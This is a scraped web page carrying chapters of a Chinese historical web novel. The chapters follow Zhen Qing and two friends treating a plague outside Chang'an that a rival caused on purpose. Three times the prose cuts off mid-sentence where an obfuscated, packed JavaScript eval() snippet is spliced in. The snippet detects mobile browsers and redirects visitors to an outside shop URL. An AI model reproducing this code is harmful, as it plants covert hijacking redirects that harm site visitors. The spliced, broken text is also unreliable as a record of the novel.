而前边,据说是跟郡王关系极好的人,除了学习,遛鸟打球一个不落。这些天枕清倒是摸清楚了,他这一群都是七七八八八飞不出一个好蛋子的废人,怪不得坐到后边,这是不影响前边的好学生,果真是具备良好的道德底线。 枕清跟他们玩在一起,也会了遛鸟打球,偶尔看两眼一直在学习的郁华隐。 一心只读圣贤书,不在乎他人目光的郁华隐都注意到枕清频繁探看自己的举动,偶尔有几次视线上的交汇,枕清的视线波澜不惊,唇瓣弯起适时的笑容,那神情好似是洞察到了一切,包括自己的秘密。 郁华隐面上镇定自若,心中怀着巨大的不安,还没开始的东西就已经破灭,变成巨大的幻影。 当自己再看向枕清时,她已经沉浸在旁人的欢声笑语中。 枕清漫不经心地听着旁人说起的趣事,余光留意着郁华隐藏不住焦灼的神情,唇边勾起巨大的笑意。 让郁华隐分不清楚是听人谈起的笑意,还是势在必得的满意。 她的确知道这人身上有一个秘密,那是一个必死的秘密。 这两日的长安没有起什么大风浪,可底下无端生起暗潮,就连枕清耳边都传来三两件无关紧要的小事,有人说谢府丢了一个大东西,正严加盘问,又说东楼那处被别家盘下,要重新修整开个新铺子,还有人说林家老爷一天通便十多次,小奴苦不堪言,这不,林府家跑了一个小奴。 无论流言大小,都在长安肆意飞起,又随着时间,逐渐销声匿迹。 另一件棘手的事情出现了。 据陈谷说长安郊外出现大批量的难民,那些难民都生着奇怪的病,浑身滚烫,上吐下泻,浑身透着一股即将死去的气息。 而且还是个人传人的病!前往的中医有些也得了这个病,通通治疗无效,现在太医署里正忙得焦头烂额,为了避免引起恐慌,已经封锁住了大部分的消息。 陈谷出身于医疗世家,爷爷是太医署里的太医令,父亲也已经做到了太医丞,他还有一位天资聪颖的哥哥,听闻出生时跟陈谷相生相克,但陈家世代行善举,并不相信如此说法,不久后陈家便发生了多起意外死亡,于是把陈谷的哥哥送了出去,这个人就是义宁。 大抵是陈谷没有学医的天赋,又只知道玩耍,彼时的陈家急需传承,这才把义宁给招了进去。 这样的身世,义宁自己也清楚明白,可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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包启元和枕清听到陈谷要去,他们几人再三劝阻,劝阻到了最后,变成了他们几人一同前往。 枕清看着平日这么不着调的两个人,心中居然还有这样一份善心和气概,心中高看了不少。 “你说我们几个要是真的死在外边怎么办呐?”包启元突然害怕道。 “走一步看一步,实在不行死半路!”陈谷哈哈一笑。 “你死了可没关系!我要是死了,我娘都得哭晕过去,我阿爷得要骂上我三天三夜!算了算了,我这也算是做好事了,真死了,下辈子我还要做我阿娘的孩子!” 宁千渝听得急了,赶紧呸呸道:“现在还没去呢!你们在说什么糊涂话!” 说是不害怕这场病疫是假,但是心中有底也是真的。在此之前,枕清虽早已有所准备,可心中并非完全有底气,她并不觉得阿之奎会如此愚钝地孤注一掷。 可阿之奎有所准备转移药草,势必会有后招,或许解药真就在那些草药中。 这件事在旁人眼中是事发突然,对于大启而言,更是毫无预兆,即使枕清心中有所准备,却也发现了问题。 百姓们的状态愈发诚惶诚恐,开始向药肆买下大批量的药材,想要以备不时之需,但也不少想从中获利的奸商买到药材后囤积着,预备到日后高价出售,能狠狠捞上一笔,而不少药肆也因他们这种行径赚得盆满钵满。 可是他们忘了,疫病也需要对症下药,更何况还有应钰囤积着把关。 应钰所卖的草药并没有去涨价,因此大部分百姓纷纷涌入百草堂,而达官显贵去了有保障的青囊居。 33. 秋山海远杳千重(八) 与此同时地另一边。 夜静得黑沉,城门早就已经关闭,枕清和他们几人原本想趁着夜晚出城门的计划泡汤了,三人站在城墙下,影子照在城墙下,融入一片漆黑的夜色中。 晚间的冷风吹拂着城内外的几棵古树,月光幽暗,乌鸦惨烈嘶叫,让平静的夜晚变得异常诡谲。 枕清察觉到近来的脚步声,示意这三人不要再妄自动作,随着动静声音越来越大,枕清听见一道低沉的男声开始询问:“这长安郊外的疫病是不是已经快染上了长安?虽然现在的大夫束手无策,我怕再慢些真给他们找到了法子!主上已经下令,我们的动作需得要快些才好。” “我知晓了。” 后者的声音略微稚嫩,甚至还能听出一些不是长安本地人的口音。他们二人之间的谈话声虽然小,可在寂静的夜晚中,好似被放大了数倍,一字不落的掉进了枕清三人的耳朵里。 这样听来,就能判定出他们二人与这场疫病有关。 那二人谨小慎微,生怕出了差错,脚步声也逐渐放轻。 虽然长安晚上有夜禁,巡查的武侯来了一批又换走一波,叫人胆战心惊,但是走在各自的坊间内也算是相安无事,只是他们走的不是长安坊内,而是城墙边。 包启元听到方才的一番话,心中早已经想了一番干练帅气的动作,正想要把坏人抓住,绳之以法的时候,枕清恰似知道他的想法,先他一步,拦截他的动作。 枕清用手安抚住包启元的躁动,她自然也明白刚才那些人的话是针对此次疫病,甚至还能听出来这两人不是长安人,而且迫切地想要这场疫病进入长安。 只听脚步声越来越近,包启元呼吸一滞,陈谷恰似被包启元带着不自在,在包启元碰到他的时候,陈谷在鼻腔中闷出一道声音。 对面的两人瞬间不动了,脸上的神情被月光照得并不分明,却让两拨人都开始如临大敌,不免警惕再警惕。 枕清料定他们已经察觉,于是也不守株待兔了,率先飞奔到前面,拦截二人的去路。 天色漆黑,眼睛看不见,于是耳朵变得更为敏捷,那二人也察觉到枕清袭来的动作,面容瞬间变了色,猛地朝回跑去。 而不远处巡逻的武侯点着星星烛火,也正往这边走来。 他们几人的神色大变,枕清也顾不得这二人,只好带着包启元与陈谷顺着大街朝着南跑,长安城中皇宫与官府所在皆为北,南部各坊人口稀疏,巡查自然稍微不那么严苛些。 当下主要的还是赶紧跑,要是被夜禁巡查队发现,他们三个人半条命都得搁在大理寺上。 三人飞快逃离是非之地后,当即找了一处矮墙,趴墙进坊踢下好几块夯土才算完。 包启元一脸惨状,开始抱怨道:“你出什么声啊,本来都快要抓住他们了!” 陈谷本就跑得脱虚了,被这一番抱怨,好似好心都变成坏事,原本俊俏的脸瞬间黑了,他也跟着埋怨道:“你的呼吸声音那么大,说不定是你先惊动了!而且你为什么突然摸我,这才叫我喉咙发痒。” 包启元不可以思议道:“我摸你你就发痒?那你是不是对我图谋不轨!” 陈谷直接气笑,他眼神不善地上下打量包启元,嘲讽道:“不是我说,包子,你看看你这副模样,哪点有让人图谋的欲望?我就算喜欢枕郎君,也不会喜欢上你的!况且我没有断袖之癖!” “谁知道你有没有!你们老陈家各个都是古怪的人!” “我看你脑子跟包子一样!” 两人像是孩童般吵架斗嘴,枕清早已经见怪不怪了。 其实刚才那两人就已经证实了她的猜想,这一切都是阿之奎的阴谋诡计。 如此一来,有心之人可以拱火,叫长安大乱,失去民心。 可是他为什么对长安和大启有这么大的深仇,好像就是大启曾今辜负过他一样,而枕清在江诉身上没有发现江诉对任何事任何物有任何一点的怨恨。 这到底是怎么一回事。 就在刚才,并没有什么大的风尘,也没有刺激鼻息的气味,只是包启元触碰一下陈谷就会令他感觉到不舒服而在喉咙里发出声响。 不知为何,她总觉得陈谷是故意。 枕清的狐疑心起,又被压下。 她突然弯起唇瓣,看着脸红脖子粗的两人,宽慰道:“没事,也不算是一件坏事,起码我们知道这件事并非什么天灾,而是人为的,既是人为,那么一定有办法。” 包启元实在不解:“既然是人为的?他们是想作什么打算?这样做对他们又有什么好处呢?” 这三连串的话,枕清并没有想解释,而是看向陈谷。 陈谷碰了碰下巴,思索道:“可能是为了赚钱。” “丧心病狂啊!”包启元怒骂道,“拿人命赚钱?” 陈谷神色莫测,耸了耸肩道:“谁知道呢,这世上丧心病狂的事情多了去了,不顾他人性命的人也多了去了,包子,你还是太年轻了。” “你比我大多少?也才一个月好吧,把自己说得这般老气横秋,真是不怕噎得慌。”包启元实在看不惯这样的陈谷,三步并两步走到枕清身边。 枕清见人朝自己走来,她侧身让出一个位置,跟他们说:“既然我们夜晚出不了城门,那就白日出城。现在去往城外的大夫这般多,他们也不可能每个人都认得清,又一步步来排查。正值恐慌之际,他们也料定百姓不敢随意出城送命,我们也可以借此机会出去。” 包启元靠在一旁的墙上,手撑着脑袋,打了个响指道:“好啊,我也觉得这个方法可行,不过我们出去了,一时半会就回不到长安城内了。” “有人来接应的。”枕清微微一笑,“况且我们还有陈谷不是吗?” “也是!” 包启元想着陈谷是医学世家,陈谷要是出去了,他们肯定不会不管不顾。 陈谷倒是不觉得自己的家人真的会为了现在的自己以身涉险,看包子那一脸算计模样展露在脸上,心中却道他的算盘打错了。 至于枕清,陈谷只知道她和江诉非常的亲近,可那亲近有着对江诉的不客气,叫他觉得枕清和江诉之间有一点道不清说不明的味道。 不像是兄友弟恭的亲人,也不像是无话不谈的朋侪,反倒有点争锋相对的缠绵。 陈谷疑惑问道:“你跟着我们出来,江中丞不会说什么吗?” 枕清道:“事情都已经走到这一步了,你现在才问我这句话,是不是有些晚了?” 这都已经是箭在弦上不得不发的,陈谷这样一发问,更像是马后炮了。 枕清也没有在意,只是特别洒脱地跟他们两道:“大步了就死呗,反正都做了一回英雄了。” 太极宫正门的承天门的城楼上,第一声报晓鼓敲响,他们便知晓可以出坊了,于是顺着朱雀大街朝城门方向走去。 在此之前,枕清也带上了那几味药材。 刚出城外,陈谷和包启元就开始相互对视,都在对方的眼中读出了一抹奇怪又诧异的情绪。 并不是有什么正真的尸山血海、尸横遍野的惨烈景象,而是每个人都是坐着、躺着,神情是无比的平静,恰似已经放弃了生命,安静地等待着死亡。 已经被折磨到没有求生的欲望。 枕清也看到这一幕,许多人的眼中是无比的绝望,好像被所有的人所抛弃。 包启元实在是不忍看下去,于是拿着自己不多的粮食在一旁开始生火,陈谷则是放下药箱,走到一位病得不成人样的女郎面前,为她把脉。 那女郎突然嗤笑一声,甩开陈谷的手,崩溃道:“朝廷都已经放弃我们了,你们又何必在这里假惺惺的为我们诊治!根本就不会好的,这是一个怪病!我们只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665325|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能坐在这里等死!咳咳..咳...” 陈谷看着那位女子,手悬在半空,他抿了抿唇瓣,刚想要开口辩解,枕清率先蹲在他身边,凝视眼前的女子,掷地有声地问道:“何为放弃?若真的放弃你们,那朝廷为什么派这么多大夫前来?” 这是会染病的,陈谷诧异地偏过头看向枕清,他想拉着枕清远离这女子,可枕清巍然不动。 那女子驳斥道:“那还不是怕传染到长安城内!传染到朝廷!” 大家眼神微动,心中也是这般想的,反正都快要死了,说什么话都已无所顾忌。 他们就是认为朝廷只想把他们困在长安城郊外,也断绝他们去往别的州县的后路。他们是被抛弃的人!朝廷不要他们了! 枕清和女子距离极近,现如今出来,心中早有设想,也不怕染上这病,反而冷笑道:“如果这般怕传染,那为何不直接放一把火烧了?断绝更多的人染上此病,而不是让这么多的医士一起,陪着你们送死呢!倘若你们自己也放弃自己,那么便真是无药可救!” 枕清不再看向这女子,而是站起身,望着周围倒下乌泱泱地一片人群,她高声道:“倘若你们现在想死,就趁早说了,我们也不浪费这番精力来这里。你们也知道,被放出来的医士,若是在疫病没治好前,也是无法回到长安城内,倘若我们没有医治好你们,你们死,我们也陪着你们死,你们现在还觉得自己被朝廷放弃了吗?若你们被放弃了,那我们又算什么?” 不少人抬头看向枕清,这女子的脊背挺拔,目光坚韧,好像是在这群人里,是唯一的鲜活气息。 没有被任何外界的东西打压过、折磨过,但又好像有过,但她已经是这般模样,像柏树、像青松、像翠竹,也像是在黑暗里出现的一束光。 她叫人无比的信服,相信她能治好他们的力量。 “再说,我身旁这位是陈家的郎君!”枕清脸不红心不跳地开始吹嘘起陈谷来,“他家祖父是太医署里的太医令,现今为太后殿下和圣上整治,也管理太医署里大大小小的事。他家父亲是太医署里的太医丞,亦是身居高位,我身旁这位郎君早已在家中耳濡目染,实力更是不可小觑!” 不少人心中升起新的希望,投向陈谷的目光恰似比枕清更为灼烈,烈到快要把陈谷烧起来了。 好在他们都是平民百姓,平日里触及不到什么高官显贵,更不必说了解太学里的大小事情。 陈家也是旁人接触不到的人,只需要把大名告知他们,让他们心中有底气,有鲜活的希望便够了。 至于其他的,那也是后边的事了。 包启元简直惊掉了下巴,对于枕清这真话又像是假话,说得着实佩服,在心中竖起了大拇指。 如果不是他知道陈谷的实力,他都要信以为真了! 见人都沉浸于此,包启元收了收下巴,就听枕清望着他,又指向他。 包启元心中懵逼,表面镇定自若。 枕清走向包启元,朝周围人道:“他叫包启元,是朝中包廷尉的小儿子,能文能武,实力不亚于他的父亲,甚至涉及的知识范围面极广,几乎没有他所不知道的事情。” 包启元眉眼淡漠,心中疯狂咆哮:我??? 知识范围面极广? 这说的是我? 小看枕清睁眼说瞎话的本事了。 他朝着各种投来艳羡又崇拜的目光,无奈地笑笑,硬生生吞下了这一大口的好人锅! 枕清并没有说自己,而是转了个话题,目光虽然看向四周,却又像是对那个女子说的。 “现在你们还觉得朝廷在抛弃你们吗?”枕清高声道,“如果是觉得是自己位卑如草芥,便会被弃之如敝屣,那他们呢?再说自己卑还是不卑,并非是以身份地位来决定的,而是看你自己的心在哪一处。若你的心向高处,自然也可以去往高处。” 34. 月皎惊鸟晓无迹(一) 那女子心中不免一阵羞愧,可是她死死抿着唇,既不说些什么反驳也不再开口。 陈谷虽然在旁人心中是草包的存在,可他毕竟出身在医学世家中,并不是那种一窍不通的废材。 他瞧一眼女子,转身去往旁人救治,也不会在不愿意的人身上多花时间,毕竟现在形式紧迫,无论救起谁都是一样的。 陈谷给人把了脉,发现着脉象诡异,他不免诧异地看向一旁,发现土地都已经有了干枯的趋势,就连植物的经脉也变得干巴。 他并非是去关注这些植物,只是将视线放在此地,脑袋放空地思索,指尖在脉搏上一点点地去感知跳动。 枕清从未见过这样的陈谷,这好像是陈谷原本就该有的样子。干净贵气的脸庞没有一丝的不耐和烦躁,微微蹙起的眉眼好像是湖面的波纹,表露出平静祥和的状态,底下又是另一番的暗潮汹涌。 别说枕清没有看过这么认真的陈谷,就连同窗多年的包启元也没有看到这样的陈谷。 虽然说陈谷经常喊他包子,可他从来不觉得自己是个草包子,就算是草包子,起码还有个陈谷拉出来垫背,这下好了,不会真的只有他一个闷在鼓里,是真草包吧。 陈谷眉眼忽然松动,好像是找到了解救之法,就连原本紧绷的唇瓣也开始扬起一点弧度,他装得人模狗样般朝眼前的人温和一笑,脚步不紧不慢地朝枕清走去,似乎早有预算,也有胸有成竹之气势。 包启元第一次觉得陈谷还有那么一点可靠的样子,于是扔下那一口锅,朝枕清走去。 陈谷自然也看到了包启元的步子,他唇角维持的笑容微不可察地顿了一下,然后绽放地更大,好像是一株盛开在烈日的花。 他们三个人围在一团,又觉得站在众人的中央并不好,于是走到一棵树旁。 陈谷也不维持刻意地笑容了,他轻轻地叹了一口气,目光逐渐疲软下来,两手一摊。 “你们也知道我是什么样的人,这个看病我哪里会啊,装得我心气儿不足,我压根不会啊,就连号脉的地方我也是学着别人的模样把的,我哪里知晓其中的门道。”陈谷越说越觉得自己上不得台面,于是求助般看向枕清。 枕清耸了耸肩,转头望向一言难尽的包启元。 包启元深呼吸一口气,然后又重重地压了下去,他咬牙切齿道:“装的这般像,我还真以为你有什么大能耐,结果也是和我一样的废物草包!那你装什么胸有成竹、势如破竹!” 陈谷眉尾一挑,笑道:“呦,还会成语了,还两个。” 包启元怒道:“现在你还有心思开玩笑!当下的玩笑才叫开大了,赶紧想办法把你!” 他们三个分明是一个热锅里的蚂蚁,偏偏又只有他包启元一个人在跳脚,他这气得呦,简直要说不出话来,可是一转头又见那些人望着他们三个,只好压下心中火气,微微一笑。 转身背对着众人,只把气急的一面露在枕清和陈谷面前。 这叫什么? 这就是他老爹经常骂他的千里送人头! 这下好了,是真送人头。 包启元无可奈何道:“这下好了,三个送死的来了。” 枕清默默看向陈谷,随后开口道:“我之前好像看过一个方子,我到时候写出来,你先来看看再开给他们。” 包启元眼睛一亮,好像真的发现了什么新奇的事情,陈谷则是点头。 枕清并没动手,而是让陈谷自己写,她只是念出中草药的名字。陈谷执笔很稳,笔尖落在纸上也是行云流水,只是那个字迹多多少少太龙飞凤舞了,大部分都叫包启元认不出来。 这个药方子,陈谷一句话都没有过问,也老老实实按照这个方子抓药,至于药量控制在多少钱,都是陈谷分配的。 看似随手,但多多少少还有准头的。 枕清并不相信陈谷所说他对把脉一事一窍不通,刚才把脉的地方以及手法,都是准确的。 她虽然没学过多少,但是看总是会看的。 在上一世里,她最后几年里,不说天天,但也是大半个月泡在药罐里,有不少的太医为她整治,可惜最后还是为时已晚,中毒太深。 给大伙喝了药,不出一个时辰,有些人便说自己身上爽利了,也不那么疼了,今晚似乎能睡一个好觉了,不用在半夜中被疼醒,又或者是疼到睡不着。 众人对她们三个感激涕零。 这一夜,他们真的看到了生的希望。 包启元看到这样的场景,简直高兴得睡不着,好似小时候的英雄梦,在这一刻成真了。 他竟然想不到会这么轻松容易,好像所有的事情只要有枕清和陈谷在,都是小事情。 日色逐渐下沉,郊外的树林里风声厚重,枕清坐在一棵树下,数着天上的星星。 她隐隐觉得这事有古怪,或许是她这个配方得到得太容易,又或者是阿之奎的动作太大,让她觉得一切顺利到不可思议。 她又看到了那一抹黑色的影子游走,顺着视线望去,那影子似进了长安城内,隔绝了外边的一切,至于里边的事,她一概不知。 除了应钰和宁千渝,大概没人会想到她会出来。 不对。 阿之奎也知道。 在此之前,阿只奎早已经派人盯着枕清,只要一有动静,便让人告知他。 所以他早知道枕清出了长安城外,当然也知道枕清暗中和他较劲收购了中草药。枕清自以为得到了草药和药方,其实他也早就发现了枕清的动作。 这药方是对的,不过缺了其中的两味至关重要的药材。 阿之奎并非是个坐以待毙的人,他会出击,甚至在必要时,给枕清致命一击。这样阻挡他的人只会越来越少,到最后,他依旧可以一举拿下长安。 枕清醒来的时候,并不是被坚硬的草地和冷风吹醒,而是被此起彼伏地呕吐和咳嗽声吵醒。 她睡眼朦胧地看向周围,不少人难受到躺在地上,蜷缩着身子,竟也连爬起来的力气也没有,仿佛比之前的样子更糟糕。 枕清的睡意顷刻消散,眉间微微跳动,她按耐住情绪,眼底的焦灼却揭开了她彼时假意维持的平静。 包启元刚想问些什么,看着枕清思索的模样并没去打扰。 昨儿个还是好好的,怎么今日一下子病重得这么厉害。 有些人怒指陈谷,骂道:“你开得什么破药方子,咳得人快要死了。什么神医?我看你们三个人就是催命的祸害!” 包启元这下也不惯着,挡在陈谷身前道:“你这人,骂一个还不够,还要骂三个是吧!是谁昨天又哭又感谢的!” 那人指上包启元,即使喉咙又痛又痒,还是要不依不饶地骂道:“就是骂你们三个!三个刚出来的毛头小子,居然还妄想着救人!我们大家都要被你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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阿之奎听到了城郊外的事情,特地去拜访了禹王,说有东西要给小县主。 恰在此时,江诉正同禹王一道而来,江诉看到阿之奎的时候,并没有多大的表情和意外,反倒是阿之奎更为吃惊和错愕。 江诉并没有让阿之奎进去,反倒是问他,真的有东西要给县主吗? 那语气冷淡到刺骨。 禹王也察觉到两人的问题,他正要开口缓解,阿之奎的小厮便焦急忙慌地上前,两人私密交谈间,只见阿之奎眸中闪过一抹惊慌,随后又表现如常,颇有歉意道自己家中有急事,要先回府一趟,改日再来拜访。 “你若有东西给小女,明日也可以来。”禹王和善道。 阿之奎目光虽是落在禹王身上,可全身的注意力都去往了江诉那边,叫他在这里如同喉中卡住鱼刺,上不来也下不去,难以动辄。 他勉强笑道:“还是改日吧。” 回身离开的那一瞬间,阿之奎窥探到江诉的思绪,好似早知道他今日进不了这禹王府的大门。 唇角弯起似有若无的苦涩笑容。 早已经物是人非。 阿之奎踏上马车,整个人松松散散地靠在马车背上,原本阴骘恶劣的神情在此时也消散了去,满脸只剩下疲惫。 马车的帷帐掀起又落下,一束束很淡的阳光显露又散开,好似虚无飘渺的云雾,他既握不住,也逃不开。 小厮跟他说齐离弦生病了,状态和城外的疫病一模一样,或许是染上了。 可是齐离弦并没有出城门,又是从哪里染上了这样的怪病? 大抵又是为了枕清来试探他。 原本狂妄阴骘的面容,在此刻显露出茫然,眼神逐渐变得清澈。没人看到这样的阿之奎,也没人记得,他也还是未冠笄的少年。 35. 月皎惊鸟晓无迹(二) 阿之奎抬手揉了揉自己的太阳穴,等车夫告诉他到了,当即下了马车,叫人配制了药送到齐离弦的房中。 避免这药泄露,还是阿之奎看着齐离弦一点点的吞下去,药方也并未经过旁人的手。 齐离弦咳嗽到脸颊绯红,她如今已没有平日那边的鲜活模样,整个人形如枯木,早就已经没有初见时那般的劲头。 这样的她,对于阿之奎来讲,理应是没有什么吸引力的,可即使这样,阿之奎也没有放过她的打算。 而她在阿之奎这里,信任几乎为零。 现在的她还能做些什么呢?其实早就什么都做不了了。 阿之奎既没有过问她怎么会染上这样的病,也没有探究她是否出去过,好像只给她吊着一口气,其他的一概不管。 齐离弦在阿之奎要离开房门前,她哑着声道:“你告诉我解药,我就永远跟在你身边。” 阿之奎冷笑,她永远都是这样,永远心怀大义,在他身边所图的永远都是要去送给别人。 那么她可曾为自己考虑过? 为了别人,留在他身边竟也甘之如饴? 倘若齐离弦真的愿意留在他身边,那么他也不会将齐离弦养成现在这般模样。是齐离弦不愿意留在她身边,将自己折腾成这样。 而他,也养不好她了。 阿之奎薄凉讥讽道:“现在的你有什么资格跟我谈条件?用你这副憔悴不堪的模样?” 齐离弦心口酸涩,仿若有千万根尖针刺痛着她,也在警醒着她。 她不怕被人唾骂,也不怕遭人白眼,她愿意跟着阿之奎回安南,可是这一次,阿之奎好像真的不再需要她。 等阿之奎离开后,齐离弦抿了抿干薄的唇瓣,并未以这样的神态示人,而是乔装一番,先是去往厨房。 厨房内一切都是干干净净的,就连药渣也没剩下。 果真是警惕心极强。 她当下也等不住了,今日约了和应钰见面,转身翻上墙朝南边的方向跑去。 长安城外的人马来往,把控得非常严格,齐离弦并没有出城门,也没有去见什么人,更没有得这奇怪的疫病。 但她能肯定是阿之奎引发了这一场事情。枕清说得对,她和阿之奎,终归是两路人。 应钰见到齐离弦的时候,察觉到她额头直冒冷汗,要去扶稳她的手在空中顿了顿,见齐离弦摆手后,她也慢慢收回。 齐离弦对自己封了穴,她伸手在胸前利落地点下,胃部的东西都在翻江倒海,直接吐了出来。 她缓了一会,道:“我喝了解药,应该还少了两味药。一个是有镇静神经的天仙子,取少量,还有另一味药材,是干姜。”[1] 待齐离弦说完,应钰稍作点头,将东西传达给了属下,令人赶紧出城,拿给枕清。 现在她和齐离弦的任务已经完成,没有了时间催促的紧迫感,便也不慌不忙,更有闲情逸致去看看这四周的景色。 应钰问她:“还回去吗?” 齐离弦摇头道:“不回去了。” “那你要去哪里?” “天高路远,哪里都可以。” 秋风送爽,吹拂了女子的发梢,如同进入悠然的梦境,竟有惬意的遐想。应钰抬眸,她看到齐离弦的眸光带着无人可及的洒脱和坚毅,好像又回到了她第一次见到齐离弦的时候。 她第一次见到齐离弦是在上一世,在此之前,她从未见过这样的女子。 应钰看着齐离弦远走的背影,忽道:“你不等等沿溪吗?” “不等了。”齐离弦现在只想离开长安,离开任何有阿之奎痕迹的地方,她等不住枕清,也不想见到枕清。 “你替我跟她说一句,其实在第一天,我就已经知道她用枕灵的名义骗了我,日后她可以用自己的名义写,我会来的。”齐离弦回首笑道,“后会有期,惊玉。” 惊玉。 这是她的小字。 前方的少女明眸灿烂地扬起笑容,应钰猛地回神,不知道少女何时备了一匹马。 齐离弦坐上高大的红棕烈马,脊背直挺又利落,姿态坚定又轻快。 高扎的马尾被一条红色的绸带绑着,丝带轻柔地落在她的颈侧,在阳光的照耀下,顺滑的乌发散发着金黄色的光芒,她的身形显得愈发修长。 周围茂密的林木挺拔高耸,却也挡不住她一身的狂野。少女行动自如地穿梭在林中,更像是骑行在一望无际的原野上。 她回归了她自己本该有的模样,她找回了她自己。 应钰又好像回到了第一次见齐离弦的时候,也是这般肆意洒脱的模样。那时候她就在想,这个世界上,没有人会不爱这样明媚的少女。 看着越来越渺小的身影,应钰突然笑了,笑着笑着,又默默留下了两行眼泪。 没人知道她是喜极而泣,还是悲伤哭泣,抑或是两者都有,就连她自己也不清楚。 在情情爱爱里,最害怕也最忌讳,丢了自己。 丢了自己的人只会是齐离弦一个吗? 当然......不止。 阿之奎坐在廊檐下,天空是艳阳天,应是能照得人浑身舒懒,可阿之奎只觉自己掉进了深不见底的深渊中,冷寒无比。 这一路来,他战战兢兢,如履薄冰,唯独在齐离弦身上有那么一丝松动,有了除仇恨之外的情绪。 来长安路上,他窥探又布局,笼着一个又一个破碎飘渺的梦。 有时常常在想,既然已经过去那么久,又何必如此执着,不妨开得开些,真如枕清所说,带着齐离弦跋山涉水,远走高飞。 可这场恨意,是在齐离弦未曾出现时就有了,早已经变成他活下去的执念,深入骨髓,难以自拨。 他就像是一个溺水者,微弱地扑腾着,坚持到如今的地步,依旧是那股强烈的恨意,也正是枕清所述的无药可救。 这两年像是一场梦。 现在梦醒了,也该回去了。 属下垂首问道:“王上在催了,王子,我们何时启程?” 阿之奎喉咙发酸,嗓音如常:“再等三天,看看这三天,能在这长安城内搅起多少风雨。” “那么......齐小娘子又该如何?” “她走了。” 那属下听到这话,轻轻发出一声疑惑,却也不敢再多问,只当是主上对于齐离弦已经厌烦,要放走她的意思,正要起身告退,就听到阿之奎如同喃呢的声音。 “再也不回来了。” 属下见阿之奎失魂,说告退声卡在喉咙,又看到阿之奎房门前还有药渣罐子,默默清理后离开。 这件事阿之奎早有预料,齐离弦想起来了,想起了所有的事情,所有的一切。 上一世的他们并没有走到现如今这一步。 没走到也好,避免明知不可为而为之。 只是逃走的猫儿,总会叫人觉得可惜,可惜他又想把猫儿抓回来,永远、永远地禁锢在自己身边,让猫儿哪里也去不了,只能待在他身旁。 可他又想着那或许不是猫儿,而是一只雄鹰,本就该振翅高飞,翱翔于高处,盘旋于上空。 如果天空也是他的地盘,那是不是,依旧可以禁锢。 阿之奎发疯地想着。 黄昏时分,金乌缓缓下坠,留下一片温暖的余晖,可长安郊外的声响听得人害怕,一双双幽怨的眼神盯得直叫人发麻。 才短短两日,枕清自己也未能幸免,在午后时,也咳嗽了起来,这声音也惊动了不少人,有人幸灾乐祸地说活该,也有人不免开始担忧了起来。 此地隔三差五就拉出几具尸体火化,不禁让人倍感恐惧,只觉得下一个被拉出去焚烧的人是自己。 枕清并未理会旁人的目光,无论是嘲讽还是夸捧,她已经见过太多。 她安静地坐在一棵大树底下,并不让陈谷和包启元靠近,要是他们两个也染上病,那么这一杆子人真的可以等死了。 白日有暖阳,并不叫人觉得寒凉,可夜晚和白日的温度相差极大,枕清并未多带几件衣服,有细微的风动,落在她身上犹如一把刀,划在她身上,侵袭着她每一寸肌肤。 唯独发昏发沉的脑袋觉得被刺骨的冷风吹拂得极为舒服。 即使身子骨很疼,枕清依旧是面不改色。 她可是从雷州出来的,什么样的疼她没经历过,其实这些身体上的疼痛,对于迟钝的枕清而言,无伤大雅。 不过,还是会有些不舒服呢。 于是双手置于胸前,蜷缩在一处,抱紧自己。 阿之奎自觉有先见之明,难道她枕清就想不明白吗?她既然能发现阿之奎的动作,自然也知道阿之奎会认出她的手笔。 所以她从一开始就在引蛇出洞! 撑过明天就好了,应钰会拿到药材和配方,只要熬过这一个晚上。 枕清从来没有觉得夜晚是这么地孤寂漫长,她抬头数了数星星,又看了看树,还有向她走来的一个黑影。 那人越来越近,清冷的月光倾泻在他身上,像是带起了一层厚厚的冷霜。 枕清看清了他的脸,原本抱紧自己的动作微微松懈,她依旧一动不动地看着,心如雷鼓,而那张面容是她从未见过的冷漠,仿佛又成了触不可及的模样,浇灭了她跳动的心绪。 惨白的月光下,远处一座座山峰好似成了一座座巨大的坟墓,而她也在坟墓里边。 又是这样。 每一次快死了,看到的人都是江诉。 何必说罗长观是阎王,她觉得江诉更像,只不过阎王大抵没有江诉这般好看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665327|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她见江诉径直朝她这走来,又蹲下身钳住她的下巴,给她喂了东西。 不,江诉的动作并不温柔,那并不是喂的动作,更像是强迫她吃下去。 他不是江诉。 枕清眼睛逐渐酸涩,蒙起来了一层水雾,江诉看到这样的枕清,轻了手中的动作,枕清则是被那颗东西苦了一嘴。 江诉克制道:“我竟然不知道你,来这送死来了。” 原来不是梦,是江诉真的来了。 